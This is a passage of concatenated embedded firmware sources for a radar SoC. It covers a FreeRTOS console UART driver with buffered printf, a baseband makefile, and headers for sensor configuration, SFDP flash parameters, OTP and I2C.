/* re_install new buffer. */
cs_txbuf_install();
}
}
}
/* note: call in task context.
* application call this function to get information from console.
* */
int32_t console_wait_newline(uint8_t *data, uint32_t wbuf_len)
{
int32_t count = 0;
DEV_BUFFER msg;
QueueHandle_t queue_ptr = rt_cs_receiver.msg_queue;
if (pdTRUE == xQueueReceive(queue_ptr, &msg, 1)) { // should not be 0, add one tick to disturb the idle task loop
uint32_t buf_tail;
uint32_t cpu_sts = arc_lock_save();
if (msg.len <= wbuf_len) {
memcpy(data, msg.buf, msg.len);
count = msg.len;
buf_tail = (uint32_t)cs_rx_buffer + CS_RX_BUF_LEN_MAX;
rt_cs_receiver.buf_rd_pos += msg.len;
if (rt_cs_receiver.buf_rd_pos >= buf_tail) {
rt_cs_receiver.buf_rd_pos = (uint32_t)cs_rx_buffer;
}
} else {
/* data buffer too small! */
count = -1;
}
arc_unlock_restore(cpu_sts);
}
return count;
}
static int32_t cs_intbuf_alloc(void)
{
int32_t result = E_SYS;
uint32_t buf_id = CS_INT_BUF_ID_START;
uint32_t buf_id_e = CS_INT_BUF_ID_END;
uint32_t cpu_sts = arc_lock_save();
uint64_t push_order = rt_cs_transmitter.push_order_cnt;
if (rt_cs_transmitter.order_ovflw) {
/* ignore the current allocate! */
buf_id = CS_INT_BUF_ID_END;
}
for (; buf_id < buf_id_e; buf_id++) {
if (DATA_BUF_IDLE == txbuf_hooker[buf_id].state) {
txbuf_hooker[buf_id].state = DATA_BUF_FILLING;
txbuf_hooker[buf_id].timestamp = push_order;
result = (int32_t)buf_id;
rt_cs_transmitter.push_order_cnt += 1;
if (rt_cs_transmitter.push_order_cnt < push_order) {
rt_cs_transmitter.order_ovflw = 1;
}
break;
}
}
arc_unlock_restore(cpu_sts);
return result;
}
static int32_t cs_txbuf_alloc(void)
{
int32_t result = E_SYS;
uint32_t buf_id = CS_TASK_BUF_ID_START;
uint32_t buf_id_e = CS_TASK_BUF_ID_END;
uint32_t cpu_sts = arc_lock_save();
uint64_t push_order = rt_cs_transmitter.push_order_cnt;
if (rt_cs_transmitter.order_ovflw) {
while (rt_cs_transmitter.push_order_cnt >= \
rt_cs_transmitter.pop_order_cnt) {
/* send too lowly, task waiting! */
vTaskDelay(1);
}
}
for (; buf_id < buf_id_e; buf_id++) {
if (DATA_BUF_IDLE == txbuf_hooker[buf_id].state) {
txbuf_hooker[buf_id].state = DATA_BUF_FILLING;
txbuf_hooker[buf_id].timestamp = push_order;
result = (int32_t)buf_id;
rt_cs_transmitter.push_order_cnt += 1;
if (rt_cs_transmitter.push_order_cnt < push_order) {
rt_cs_transmitter.order_ovflw = 1;
}
break;
}
}
arc_unlock_restore(cpu_sts);
return result;
}
static int32_t cs_userbuf_alloc(void)
{
int32_t result = E_SYS;
uint32_t buf_id = rt_cs_transmitter.cur_userbuf_id;
uint64_t push_order = rt_cs_transmitter.push_order_cnt;
if (rt_cs_transmitter.order_ovflw) {
while (rt_cs_transmitter.push_order_cnt >= \
rt_cs_transmitter.pop_order_cnt) {
/* send too lowly, task waiting! */
vTaskDelay(1);
}
}
uint32_t cpu_sts = arc_lock_save();
if (DATA_BUF_IDLE == txbuf_hooker[buf_id].state) {
txbuf_hooker[buf_id].state = DATA_BUF_FILLING;
txbuf_hooker[buf_id].timestamp = push_order;
result = (int32_t)buf_id;
rt_cs_transmitter.cur_userbuf_id += 1;
if (CS_USER_BUF_ID_END <= rt_cs_transmitter.cur_userbuf_id) {
rt_cs_transmitter.cur_userbuf_id = 0;
}
rt_cs_transmitter.push_order_cnt += 1;
if (rt_cs_transmitter.push_order_cnt < push_order) {
rt_cs_transmitter.order_ovflw = 1;
}
}
arc_unlock_restore(cpu_sts);
return result;
}
static int32_t cs_userbuf_ready(void)
{
int32_t result = E_SYS;
uint32_t buf_id = 0;
uint64_t pop_order = rt_cs_transmitter.pop_order_cnt;
uint32_t cpu_sts = arc_lock_save();
for (; buf_id < CS_USER_BUF_ID_END; buf_id++) {
if ((DATA_BUF_READY == txbuf_hooker[buf_id].state) && \
(pop_order == txbuf_hooker[buf_id].timestamp)) {
result = (int32_t)buf_id;
rt_cs_transmitter.pop_order_cnt += 1;
if (rt_cs_transmitter.pop_order_cnt < pop_order) {
if (rt_cs_transmitter.order_ovflw) {
rt_cs_transmitter.order_ovflw = 0;
}
}
break;
}
}
arc_unlock_restore(cpu_sts);
return result;
}
static int32_t cs_local_buf_ready(void)
{
int32_t result = E_SYS;
uint32_t buf_id = CS_TASK_BUF_ID_START;
uint64_t pop_order = rt_cs_transmitter.pop_order_cnt;
uint32_t cpu_sts = arc_lock_save();
for (; buf_id < CS_INT_BUF_ID_END; buf_id++) {
if ((DATA_BUF_READY == txbuf_hooker[buf_id].state) && \
(pop_order == txbuf_hooker[buf_id].timestamp)) {
result = (int32_t)buf_id;
rt_cs_transmitter.pop_order_cnt += 1;
if (rt_cs_transmitter.pop_order_cnt < pop_order) {
if (rt_cs_transmitter.order_ovflw) {
rt_cs_transmitter.order_ovflw = 0;
}
}
break;
}
}
arc_unlock_restore(cpu_sts);
return result;
}
static int32_t pre_printf(void)
{
int32_t result = E_OK;
if (dbg_printf_flag) {
uint8_t *buf_ptr = NULL;
if (exc_sense()) {
/* save global buffer,
* which maybe use in task context. */
xbuffer_save();
/* interrupt context. */
if(arc_int_active()) {
/* allocation int_buf. */
result = cs_intbuf_alloc();
if (result >= 0) {
buf_ptr = txbuf_hooker[result].buf;
xbuffer_install((char *)buf_ptr);
} else {
/* TODO: buffer overflow! */
}
} else {
/* seriously, exception happened!
* directly ouput information. */
xbuffer_install(NULL);
xfunc_out_set(console_putchar);
}
} else {
/* task context. */
uint32_t cpu_sts;
/* alloc task buffer. */
do {
result = cs_txbuf_alloc();
if (result >= 0) {
break;
} else {
vTaskDelay(1);
}
} while (1);
/* register buffer: */
cpu_sts = arc_lock_save();
while (!xbuffer_idle()) {
arc_unlock_restore(cpu_sts);
vTaskDelay(1);
cpu_sts = arc_lock_save();
}
buf_ptr = txbuf_hooker[result].buf;
xbuffer_install((char *)buf_ptr);
arc_unlock_restore(cpu_sts);
}
}
return result;
}
static void post_printf(int32_t buf_id, uint32_t len)
{
if (dbg_printf_flag) {
int32_t result = E_OK;
uint32_t re_en_flg = 1;
if (exc_sense()) {
xbuffer_restore();
/* interrupt context. */
if (arc_int_active()) {
txbuf_hooker[buf_id].state = DATA_BUF_READY;
txbuf_hooker[buf_id].used_size = len;
} else {
re_en_flg = 0;
xdev_out(NULL);
}
} else {
/* task context. */
/* release xprintf... */
xbuffer_install(NULL);
txbuf_hooker[buf_id].state = DATA_BUF_READY;
txbuf_hooker[buf_id].used_size = len;
}
if ((re_en_flg) && (0 == rt_cs_transmitter.state)) {
cs_txbuf_install();
result = uart_interrupt_enable(CHIP_CONSOLE_UART_ID, \
DEV_TRANSMIT, 1);
if (E_OK != result) {
/* record error:! */
}
}
}
}
static void cs_txbuf_install(void)
{
int32_t result = E_OK;
uint32_t buf_id, data_len;
uint8_t *data = NULL;
DEV_BUFFER *dev_txbuf = &rt_cs_transmitter.buf;
uint32_t re_install = 0;
uint32_t int_dis_flag = 0;
/* firstly, check whether user buffer hooker is ready. */
result = cs_userbuf_ready();
if (result >= 0) {
re_install = 1;
} else {
result = cs_local_buf_ready();
if (result >= 0) {
re_install = 1;
} else {
/* nothing to do, disable interrupt. */
int_dis_flag = 1;
}
}
if (re_install) {
buf_id = (uint32_t)result;
rt_cs_transmitter.cur_buf_id = buf_id;
data = txbuf_hooker[buf_id].buf;
data_len = txbuf_hooker[buf_id].used_size;
DEV_BUFFER_INIT(dev_txbuf, data, data_len);
result = uart_buffer_register(CHIP_CONSOLE_UART_ID, \
DEV_TX_BUFFER, dev_txbuf);
if (E_OK == result) {
txbuf_hooker[buf_id].state = DATA_BUF_INSTALLED;
rt_cs_transmitter.state = 1;
} else {
/* TODO: record error info.
* then disable interrupt. */
int_dis_flag = 1;
}
}
if (int_dis_flag) {
result = uart_interrupt_enable(CHIP_CONSOLE_UART_ID, \
DEV_TRANSMIT, 0);
if (E_OK != result) {
/* record error! */
;
} else {
rt_cs_transmitter.state = 0;
}
}
}
/* later console init: */
void console_init(void)
{
int32_t result = E_OK;
DEV_BUFFER *dev_buf = NULL;
#if 0
/* hardware initialize. */
result = uart_init(CFG_CS_RX_MODULE_PORT_ID, CHIP_CONSOLE_UART_BAUD);
if (E_OK == result) {
/* register buffer and enable interrupt. */
}
#endif
#ifdef HEX_DATA_UART1
uart_init(DW_UART_1_ID, CHIP_CONSOLE_UART_BAUD);
#endif
cs_transmitter_init();
cs_receiver_init();
do {
/* register xfer buffer. */
dev_buf = &rt_cs_transmitter.buf;
result = uart_buffer_register(CHIP_CONSOLE_UART_ID, DEV_TX_BUFFER, dev_buf);
if (E_OK != result) {
EMBARC_PRINTF("console uart tx_buf reigster failed.\r\n");
break;
}
dev_buf = &rt_cs_receiver.buf;
result = uart_buffer_register(CHIP_CONSOLE_UART_ID, DEV_RX_BUFFER, dev_buf);
if (E_OK != result) {
EMBARC_PRINTF("console uart rx_buf reigster failed.\r\n");
break;
}
/* register xfer_callback. */
result = uart_callback_register(CHIP_CONSOLE_UART_ID, cs_isr_callback);
if (E_OK != result) {
EMBARC_PRINTF("console uart xfer callback reigster failed.\r\n");
break;
}
/* enable console rx uart interupt. */
result = uart_interrupt_enable(CHIP_CONSOLE_UART_ID, DEV_RECEIVE, 1);
if (E_OK != result) {
EMBARC_PRINTF("console uart rx_int enable failed.\r\n");
break;
}
/* create queue. */
rt_cs_receiver.msg_queue = xQueueCreate(RX_MSG_QUEUE_ITEM_LEN, RX_MSG_QUEUE_ITEM_SIZE);
if (NULL == rt_cs_receiver.msg_queue) {
EMBARC_PRINTF("create console uart rx queue failed!\r\n");
break;
}
xprintf_callback_install(pre_printf, post_printf);
/* reset early console. */
xdev_in(NULL);
xdev_out(NULL);
/* maybe need delay several seconds. */
;
dbg_printf_flag = 1;
} while (0);
//EMBARC_PRINTF("console later init finished.\r\n");
}
void bprintf(uint32_t *data, uint32_t len, void (*tx_end_callback)(void))
{
#ifdef HEX_DATA_UART1
/* using the uart1 port to output the hex data */
while (len--) {
int32_t i = 0;
for (i = 0; i < 4; i++) {
uint8_t c = (*data >> (i << 3));
uart_write(DW_UART_1_ID, &c, 1);
}
data++;
}
#else
/* using the uart0 port to output the hex data */
int32_t result = E_OK;
uint32_t cpu_sts = 0;
/* alloc user buffer. */
do {
result = cs_userbuf_alloc();
if (result >= 0) {
break;
} else {
vTaskDelay(1);
}
} while (1);
txbuf_hooker[result].buf = data;
txbuf_hooker[result].used_size = len;
txbuf_hooker[result].tx_end_callback = tx_end_callback;
txbuf_hooker[result].state = DATA_BUF_READY;
/* avoid re-enter. */
cpu_sts = arc_lock_save();
if (0 == rt_cs_transmitter.state) {
cs_txbuf_install();
result = uart_interrupt_enable(CHIP_CONSOLE_UART_ID, DEV_TRANSMIT, 1);
if (E_OK != result) {
EMBARC_PRINTF("[%s] uart_interrupt_enable failed. ret:%d \r\n", __func__, result);
}
}
arc_unlock_restore(cpu_sts);
#endif
}
<file_sep>#ifndef _ALPS_REBOOT_DEF_H_
#define _ALPS_REBOOT_DEF_H_
#define ECU_REBOOT_NORMAL (0x00000000)
#define ECU_REBOOT_UART_OTA (0xa5a5a5a5)
#define ECU_REBOOT_CAN_OTA (0x55555555)
#endif
<file_sep>CALTERAH_BASEBAND_ROOT = $(CALTERAH_COMMON_ROOT)/baseband
CALTERAH_BASEBAND_CSRCDIR = $(CALTERAH_BASEBAND_ROOT)
CALTERAH_BASEBAND_ASMSRCDIR = $(CALTERAH_BASEBAND_ROOT)
# find all the source files in the target directories
CALTERAH_BASEBAND_CSRCS = $(call get_csrcs, $(CALTERAH_BASEBAND_CSRCDIR))
CALTERAH_BASEBAND_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_BASEBAND_ASMSRCDIR))
# get object files
CALTERAH_BASEBAND_COBJS = $(call get_relobjs, $(CALTERAH_BASEBAND_CSRCS))
CALTERAH_BASEBAND_ASMOBJS = $(call get_relobjs, $(CALTERAH_BASEBAND_ASMSRCS))
CALTERAH_BASEBAND_OBJS = $(CALTERAH_BASEBAND_COBJS) $(CALTERAH_BASEBAND_ASMOBJS)
# get dependency files
CALTERAH_BASEBAND_DEPS = $(call get_deps, $(CALTERAH_BASEBAND_OBJS))
# genearte library
CALTERAH_BASEBAND_LIB = $(OUT_DIR)/lib_calterah_baseband.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_BASEBAND_ROOT)/baseband.mk
# library generation rule
$(CALTERAH_BASEBAND_LIB): $(CALTERAH_BASEBAND_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_BASEBAND_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_BASEBAND_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $(COMPILE_HW_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_BASEBAND_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $(COMPILE_HW_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_BASEBAND_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_BASEBAND_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_BASEBAND_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_BASEBAND_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_BASEBAND_LIB)
<file_sep>#ifndef SENSOR_CONFIG_H
#define SENSOR_CONFIG_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_toolchain.h"
#endif
#include "calterah_math.h"
#include "calterah_limits.h"
typedef struct sensor_config {
#include "sensor_config_def.hxx"
uint32_t nvarray; /* put nvarray here to avoid tx_group config conflict to nvarray */
void* bb;
} sensor_config_t;
void sensor_config_check(sensor_config_t *cfg);
int32_t sensor_config_attach(sensor_config_t *cfg, void *bb, uint8_t frame_type);
sensor_config_t *sensor_config_get_config(uint32_t idx);
uint8_t *sensor_config_get_buff();
void sensor_config_clear_buff();
sensor_config_t *sensor_config_get_cur_cfg();
uint8_t sensor_config_get_cur_cfg_idx();
void sensor_config_set_cur_cfg_idx(uint32_t idx);
void sensor_config_tx_group_check(sensor_config_t *cfg);
#define ANTENNA_INFO_LEN 512
#define ANTENNA_INFO_MAGICNUM 0xdeadbeefU
#endif
<file_sep>#ifndef _SFDP_H_
#define _SFDP_H_
#include "embARC_toolchain.h"
/*
* @signature: a constant value, 0x50444653(P-D-F-S).
* @param_header_number: number of parameter headers.
* */
typedef struct {
uint32_t signature;
uint8_t minor_reversion;
uint8_t major_reversion;
uint8_t param_header_number;
uint8_t byte_reserved;
} sfdp_header_t;
/*
* @ld_lsb: parameter id lsb.
* @ld_msb: parameter id msb.
* @param_table_pointer[3]: parameter table pointer
* equal to (([2] << 16) | ([1] << 8) | [0]).
* */
typedef struct {
uint8_t id_lsb;
uint8_t minor_reversion;
uint8_t major_reversion;
uint8_t param_length;
uint8_t param_table_pointer[3];
uint8_t id_msb;
} sfdp_param_header_t;
#define SFDP_PTID_BASIC_SPI_PROTOCOL (0xFF00U)
#define SFDP_PTID_SECTOR_MAP (0xFF81U)
#define SFDP_PTID_RPMC (0xFF03U)
#define SFDP_PTID_4BYTE_INS_TABLE (0xFF84U)
#define SFDP_READ_MSB_FISRT (0)
#if SFDP_READ_MSB_FIRST
#define SFDP_PARAMETER_DWORD(paramter, n) (\
(parameter[((n) << 2)] << 24) | (parameter[((n) << 2) + 1] << 16) |\
(parameter[((n) << 2) + 2] << 8) | (parameter[((n) << 2) + 3]))
#else
#define SFDP_PARAMETER_DWORD(parameter, n) (\
(parameter[((n) << 2)]) | (parameter[((n) << 2) + 1] << 8) |\
(parameter[((n) << 2) + 2] << 16) | (parameter[((n) << 2) + 3] << 24))
#endif
/*
* parse basic flash parameter.
*
* */
#define FLASH_QOR_FAST_READ (1 << 22)
#define FLASH_QIO_FAST_READ (1 << 21)
#define FLASH_DIO_FAST_READ (1 << 20)
#define FLASH_DTR_CLOCKING (1 << 19)
#define FLASH_ADDRESS_BYTE_MASK (0x3)
#define FLASH_ADDRESS_BYTE_SHIFT (17)
#define FLASH_DOR_FAST_READ (1 << 16)
#define FLASH_4KB_ERASE_INSTRUCT_MASK (0xFF)
#define FLASH_4KB_ERASE_INSTRUCT_SHIFT (8)
#define FLASH_WE_INSTRUCT_SELECT (1 << 4)
#define FLASH_VSR_BP (1 << 3)
#define FLASH_WRITE_GRANULARITY (1 << 2)
#define FLASH_BLOCK_SECTOR_ERASE_SIZE (0x3)
static inline int flash_qor_read_supported(uint8_t *parameter)
{
int ret = 0;
uint32_t dword1 = SFDP_PARAMETER_DWORD(parameter, 0);
if (dword1 & FLASH_QOR_FAST_READ) {
ret = 1;
}
return ret;
}
static inline int flash_qio_read_supported(uint8_t *parameter)
{
int ret = 0;
uint32_t dword1 = SFDP_PARAMETER_DWORD(parameter, 0);
if (dword1 & FLASH_QIO_FAST_READ) {
ret = 1;
}
return ret;
}
static inline int flash_dtr_clocking_supported(uint8_t *parameter)
{
int ret = 0;
uint32_t dword1 = SFDP_PARAMETER_DWORD(parameter, 0);
if (dword1 & FLASH_DTR_CLOCKING) {
ret = 1;
}
return ret;
}
static inline int flash_volatile_register_we_select(uint8_t *parameter)
{
int ret = 0;
uint32_t dword1 = SFDP_PARAMETER_DWORD(parameter, 0);
if (dword1 & FLASH_WE_INSTRUCT_SELECT) {
ret = 1;
}
return ret;
}
static inline uint32_t flash_total_size(uint8_t *parameter)
{
uint32_t size = 0;
uint32_t dword2 = SFDP_PARAMETER_DWORD(parameter, 1) + 1;
if (dword2 & (1 << 31)) {
size = (dword2 & 0x7FFFFFFFU) - 3;
if (size < 32) {
size = (1 << size);
} else {
size = size | (1 << 31);
}
} else {
size = dword2 >> 3;
}
return size;
}
/* dword3: */
#define FLASH_QOR_FREAD_INS_MASK (0xFF)
#define FLASH_QOR_FREAD_INS_SHIFT (24)
#define FLASH_QOR_FREAD_MODE_CLK_MASK (0x7)
#define FLASH_QOR_FREAD_MODE_CLK_SHIFT (21)
#define FLASH_QOR_FREAD_DUMMY_CLK_MASK (0x1F)
#define FLASH_QOR_FREAD_DUMMY_CLK_SHIFT (16)
#define FLASH_QIO_FREAD_INS_MASK (0xFF)
#define FLASH_QIO_FREAD_INS_SHIFT (8)
#define FLASH_QIO_FREAD_MODE_CLK_MASK (0x7)
#define FLASH_QIO_FREAD_MODE_CLK_SHIFT (5)
#define FLASH_QIO_FREAD_DUMMY_CLK_MASK (0x1F)
#define FLASH_QIO_FREAD_DUMMY_CLK_SHIFT (0)
/* dword4: */
#define FLASH_DIO_FREAD_INS_MASK (0xFF)
#define FLASH_DIO_FREAD_INS_SHIFT (24)
#define FLASH_DIO_FREAD_MODE_CLK_MASK (0x7)
#define FLASH_DIO_FREAD_MODE_CLK_SHIFT (21)
#define FLASH_DIO_FREAD_DUMMY_CLK_MASK (0x1F)
#define FLASH_DIO_FREAD_DUMMY_CLK_SHIFT (16)
#define FLASH_DOR_FREAD_INS_MASK (0xFF)
#define FLASH_DOR_FREAD_INS_SHIFT (8)
#define FLASH_DOR_FREAD_MODE_CLK_MASK (0x7)
#define FLASH_DOR_FREAD_MODE_CLK_SHIFT (5)
#define FLASH_DOR_FREAD_DUMMY_CLK_MASK (0x1F)
#define FLASH_DOR_FREAD_DUMMY_CLK_SHIFT (0)
/* dword5: */
#define FLASH_QPI_FAST_READ (1 << 4)
#define FLASH_DPI_FAST_READ (1 << 0)
/* dword6: */
#define FLASH_DPI_FREAD_INS_MASK (0xFF)
#define FLASH_DPI_FREAD_INS_SHIFT (24)
#define FLASH_DPI_FREAD_MODE_CLK_MASK (0x7)
#define FLASH_DPI_FREAD_MODE_CLK_SHIFT (21)
#define FLASH_DPI_FREAD_DUMMY_CLK_MASK (0x1F)
#define FLASH_DPI_FREAD_DUMMY_CLK_SHIFT (16)
/* dword7: */
#define FLASH_QPI_FREAD_INS_MASK (0xFF)
#define FLASH_QPI_FREAD_INS_SHIFT (24)
#define FLASH_QPI_FREAD_MODE_CLK_MASK (0x7)
#define FLASH_QPI_FREAD_MODE_CLK_SHIFT (21)
#define FLASH_QPI_FREAD_DUMMY_CLK_MASK (0x1F)
#define FLASH_QPI_FREAD_DUMMY_CLK_SHIFT (16)
/* dword8: */
#define FLASH_ERASE_TYPE2_INS_MASK (0xFF)
#define FLASH_ERASE_TYPE2_INS_SHIFT (24)
#define FLASH_ERASE_TYPE2_SIZE_MASK (0xFF)
#define FLASH_ERASE_TYPE2_SIZE_SHIFT (16)
#define FLASH_ERASE_TYPE1_INS_MASK (0xFF)
#define FLASH_ERASE_TYPE1_INS_SHIFT (8)
#define FLASH_ERASE_TYPE1_SIZE_MASK (0xFF)
#define FLASH_ERASE_TYPE1_SIZE_SHIFT (0)
/* dword9: */
#define FLASH_ERASE_TYPE4_INS_MASK (0xFF)
#define FLASH_ERASE_TYPE4_INS_SHIFT (24)
#define FLASH_ERASE_TYPE4_SIZE_MASK (0xFF)
#define FLASH_ERASE_TYPE4_SIZE_SHIFT (16)
#define FLASH_ERASE_TYPE3_INS_MASK (0xFF)
#define FLASH_ERASE_TYPE3_INS_SHIFT (8)
#define FLASH_ERASE_TYPE3_SIZE_MASK (0xFF)
#define FLASH_ERASE_TYPE3_SIZE_SHIFT (0)
inline static uint8_t sfdp_flash_erase_type1_instruct(uint8_t *parameter)
{
uint32_t dword8 = SFDP_PARAMETER_DWORD(parameter, 7);
return ((dword8 >> FLASH_ERASE_TYPE1_INS_SHIFT) & FLASH_ERASE_TYPE1_INS_MASK);
}
inline static uint32_t sfdp_flash_erase_type1_size(uint8_t *parameter)
{
uint32_t dword8 = SFDP_PARAMETER_DWORD(parameter, 7);
return ((dword8 >> FLASH_ERASE_TYPE1_SIZE_SHIFT) & FLASH_ERASE_TYPE1_SIZE_MASK);
}
inline static uint8_t sfdp_flash_erase_type2_instruct(uint8_t *parameter)
{
uint32_t dword8 = SFDP_PARAMETER_DWORD(parameter, 7);
return ((dword8 >> FLASH_ERASE_TYPE2_INS_SHIFT) & FLASH_ERASE_TYPE2_INS_MASK);
}
inline static uint32_t sfdp_flash_erase_type2_size(uint8_t *parameter)
{
uint32_t dword8 = SFDP_PARAMETER_DWORD(parameter, 7);
return ((dword8 >> FLASH_ERASE_TYPE2_SIZE_SHIFT) & FLASH_ERASE_TYPE2_SIZE_MASK);
}
inline static uint8_t sfdp_flash_erase_type3_instruct(uint8_t *parameter)
{
uint32_t dword9 = SFDP_PARAMETER_DWORD(parameter, 8);
return ((dword9 >> FLASH_ERASE_TYPE3_INS_SHIFT) & FLASH_ERASE_TYPE3_INS_MASK);
}
inline static uint32_t sfdp_flash_erase_type3_size(uint8_t *parameter)
{
uint32_t dword9 = SFDP_PARAMETER_DWORD(parameter, 8);
return ((dword9 >> FLASH_ERASE_TYPE3_SIZE_SHIFT) & FLASH_ERASE_TYPE3_SIZE_MASK);
}
inline static uint8_t sfdp_flash_erase_type4_instruct(uint8_t *parameter)
{
uint32_t dword9 = SFDP_PARAMETER_DWORD(parameter, 8);
return ((dword9 >> FLASH_ERASE_TYPE4_INS_SHIFT) & FLASH_ERASE_TYPE4_INS_MASK);
}
inline static uint32_t sfdp_flash_erase_type4_size(uint8_t *parameter)
{
uint32_t dword9 = SFDP_PARAMETER_DWORD(parameter, 8);
*(volatile uint32_t *)0x7f0000 = dword9;
return ((dword9 >> FLASH_ERASE_TYPE4_SIZE_SHIFT) & FLASH_ERASE_TYPE4_SIZE_MASK);
}
/* dword10: */
/* dword11: */
#define FLASH_PAGE_SIZE_MASK (0xF)
#define FLASH_PAGE_SIZE_SHIFT (4)
static inline uint32_t flash_page_size(uint8_t *parameter)
{
uint32_t dword11 = SFDP_PARAMETER_DWORD(parameter, 10);
uint32_t page_size = ((dword11 >> FLASH_PAGE_SIZE_SHIFT) & FLASH_PAGE_SIZE_MASK);
return (1 << page_size);
}
/* dword15: */
#define FLASH_QER_MASK (0x7)
#define FLASH_QER_SHIFT (20)
#define FLASH_ENTER_CONT_MODE_MASK (0xF)
#define FLASH_ENTER_CONT_MODE_SHIFT (16)
#define FLASH_EXIT_CONT_MODE_MASK (0x3F)
#define FLASH_EXIT_CONT_MODE_SHIFT (10)
#define FLASH_CONT_MODE_SUPPORT (1 << 9)
#define FLASH_ENTER_QPI_MASK (0x1F)
#define FLASH_ENTER_QPI_SHIFT (4)
#define FLASH_EXIT_QPI_MASK (0xF)
#define FLASH_EXIT_QPI_SHIFT (0)
typedef enum {
DEV_NO_QE = 0,
/* cannot write status registers with 1 byte, or status2 will be clear. */
DEV_QE_RSTS2_BIT1_NO_W1BYTE,
DEV_QE_RSTS1_BIT6,
DEV_QE_RSTS2_BIT7,
DEV_QE_RSTS2_BIT1_W1BYTE,
DEV_QE_RSTS2_BIT1,
DEV_QE_INVALID
} DEVICE_QE_REQUIREMENT_T;
#define DEV_QPI_QE_PLUS_INS38H (1 << 0)
#define DEV_QPI_INS38H (1 << 1)
#define DEV_QPI_INS35H (1 << 2)
#define DEV_QPI_W_CONFIGURATION (1 << 3)
#define DEV_QPI_W_CONFIGURATION_NO_ADDR (1 << 4)
inline static uint32_t flash_device_quad_enable_requirement(uint8_t *parameter)
{
uint32_t dword15 = SFDP_PARAMETER_DWORD(parameter, 14);
uint32_t requirement = ((dword15 >> FLASH_QER_SHIFT) & FLASH_QER_MASK);
return requirement;
}
inline static uint32_t flash_device_qpi_enable_sequence(uint8_t *parameter)
{
uint32_t dword15 = SFDP_PARAMETER_DWORD(parameter, 14);
uint32_t requirement = ((dword15 >> FLASH_ENTER_QPI_SHIFT) & FLASH_ENTER_QPI_MASK);
return requirement;
}
inline static uint32_t flash_device_qpi_disable_sequence(uint8_t *parameter)
{
uint32_t dword15 = SFDP_PARAMETER_DWORD(parameter, 14);
uint32_t requirement = ((dword15 >> FLASH_EXIT_QPI_SHIFT) & FLASH_EXIT_QPI_MASK);
return requirement;
}
/*
* sector map parameter.
*
* */
typedef struct {
uint8_t region_index;
uint8_t erase_type_mask;
uint32_t region_size;
} flash_region_info_t;
/* CDCD: configuration detection command descriptor. */
#define SFDP_CDCD_READ_DATA_MASK_MASK (0xFF)
#define SFDP_CDCD_READ_DATA_MASK_SHIFT (24)
#define SFDP_CDCD_ADDRESS_LENGTH_MASK (0x3)
#define SFDP_CDCD_ADDRESS_LENGTH_SHIFT (22)
#define SFDP_CDCD_READ_LATENCY_MASK (0xF)
#define SFDP_CDCD_READ_LATENCY_SHIFT (16)
#define SFDP_CDCD_INSTRUCTION_MASK (0xFF)
#define SFDP_CDCD_INSTRUCTION_SHIFT (8)
#define SFDP_CDCD_TYPE (1 << 1)
#define SFDP_CDCD_END_INDICATOR (1 << 0)
/* CMDH: configuration map descriptor header. */
#define SFDP_CMDH_REGION_COUNT_MASK (0xFF)
#define SFDP_CMDH_REGION_COUNT_SHIFT (16)
#define SFDP_CMDH_REGION_ID_MASK (0xFF)
#define SFDP_CMDH_REGION_ID_SHIFT (8)
#define SFDP_CMDH_TYPE (1 << 1)
#define SFDP_CMDH_END_INDICATOR (1 << 0)
/* region info */
#define SFDP_REGION_SIZE_SHIFT (8)
#define SFDP_REGION_ERASE_TYPE_MASK (0xF)
#define SFDP_FLASH_REGION_COUNT_MAX (8)
typedef enum {
SFDP_CMD_DESCRIPTOR = 0,
SFDP_MAP_DESCRIPTOR
} sfdp_descriptor_type_t;
static inline uint32_t sfdp_sector_descriptor_type(uint8_t *param)
{
uint32_t desc_type = SFDP_CMD_DESCRIPTOR;
if (param[0] & SFDP_CMDH_TYPE) {
desc_type = SFDP_MAP_DESCRIPTOR;
}
return desc_type;
}
int32_t flash_sfdp_detect(dw_ssi_t *dw_ssi);
int32_t flash_sfdp_param_read(dw_ssi_t *dw_ssi, flash_device_t *device);
#endif
<file_sep>#ifndef _ALPS_OTP_MMAP_H_
#define _ALPS_OTP_MMAP_H_
#define OTP_MMAP_SEC_BASE (REL_REGBASE_EFUSE + 0x0140)
#define OTP_TRIM_AUX_ADC (REL_REGBASE_EFUSE + 0x0158)
#define OTP_TRIM_RF_BIST (REL_REGBASE_EFUSE + 0x015C)
#endif
<file_sep>#ifndef _I2C_HAL_H_
#define _I2C_HAL_H_
#include "dw_i2c.h"
typedef enum {
I2C_INVALID_SPEED = 0,
I2C_SS,
I2C_FS,
I2C_HS
} i2c_speed_t;
typedef enum {
I2C_7BITS_ADDR = 0,
I2C_10BITS_ADDR
} i2c_addr_mode_t;
#endif
#define I2C_M_RESTART_EN (1)
#define I2C_M_RESTART_DIS (0)
#define I2C_TX_EMPTY_CTRL_EN (1)
#define I2C_TX_EMPTY_CTRL_DIS (0)
#define I2C_TAR_SPECIAL_EN (1)
#define I2C_TAR_SPECIAL_DIS (0)
#define I2C_GENERAL_CALL (0)
#define I2C_START_BYTE (1)
#define I2C_TX_WATERMARK (0)
#define I2C_RX_WATERMARK (0)
#define I2C_MASTER_CODE (0)
#define I2C_WRITE_CMD (0)
#define I2C_READ_CMD (1)
#define I2C_M_STOP_EN (1)
#define I2C_M_STOP_DIS (0)
typedef struct {
uint32_t scl_l_cnt;
uint32_t scl_h_cnt;
uint16_t sda_rx_hold;
uint16_t sda_tx_hold;
uint32_t spike_len;
} i2c_io_timing_t;
typedef struct {
uint32_t addr_mode;
